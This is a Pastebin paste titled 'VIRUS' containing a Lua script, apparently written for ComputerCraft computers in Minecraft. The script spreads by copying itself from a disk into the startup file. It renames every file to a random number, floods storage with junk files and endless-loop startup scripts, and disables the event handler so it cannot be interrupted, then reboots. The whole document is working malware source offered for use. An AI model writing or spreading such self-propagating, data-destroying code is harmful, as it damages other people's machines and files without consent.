Advertisement
9551

VIRUS

Jun 26th, 2021 (edited)
102
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.43 KB | None | 0 0
  1. if not fs.exists("strings") then
  2.     shell.run("pastebin get FeHQyxZ8 strings")
  3. end
  4. local s = require("../strings")
  5. if s.ensure_width(shell.getRunningProgram(), 4) == "disk" then
  6.     if not fs.exists("startup.lua") then
  7.         fs.copy("disk/startup", "startup.lua")
  8.     end
  9. end
  10. if not fs.exists("startup") then
  11.     fs.makeDir("startup")
  12. end
  13. math.randomseed(math.random(0, 100000000))
  14. local files = fs.list(".")
  15. if #fs.list(".") < 500 then
  16.     for i = 1, #files do
  17.         if files[i] ~= "startup.lua" and files[i] ~= "startup" and files[i] ~= "strings" then
  18.             shell.run("rename " .. files[i] .. " " .. tostring(math.random(0, 10000000)))
  19.         end
  20.     end
  21.     for i = 1, 10000 do
  22.         local random = math.random(1, 10000000)
  23.         local ran2 = math.random(0, 1)
  24.         math.randomseed(random)
  25.         if fs.getFreeSpace(".") > 1000 then
  26.             if ran2 == 1 then
  27.                 local file = fs.open(tostring(random), "w")
  28.                 file.close()
  29.             else
  30.                 local f = fs.open("startup/" .. tostring(random), "w")
  31.                 f.writeLine("while true do print(math.random(0,100000000000000)..math.random(0,100000000000000)) end")
  32.                 f.close()
  33.             end
  34.         else
  35.         end
  36.     end
  37. end
  38. _G.os.pullEvent = function()
  39.     return "nope"
  40. end
  41. local files = fs.list("startup")
  42. for i = 1, #files do
  43.     shell.run("startup/" .. files[i])
  44. end
  45. os.reboot()
  46.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement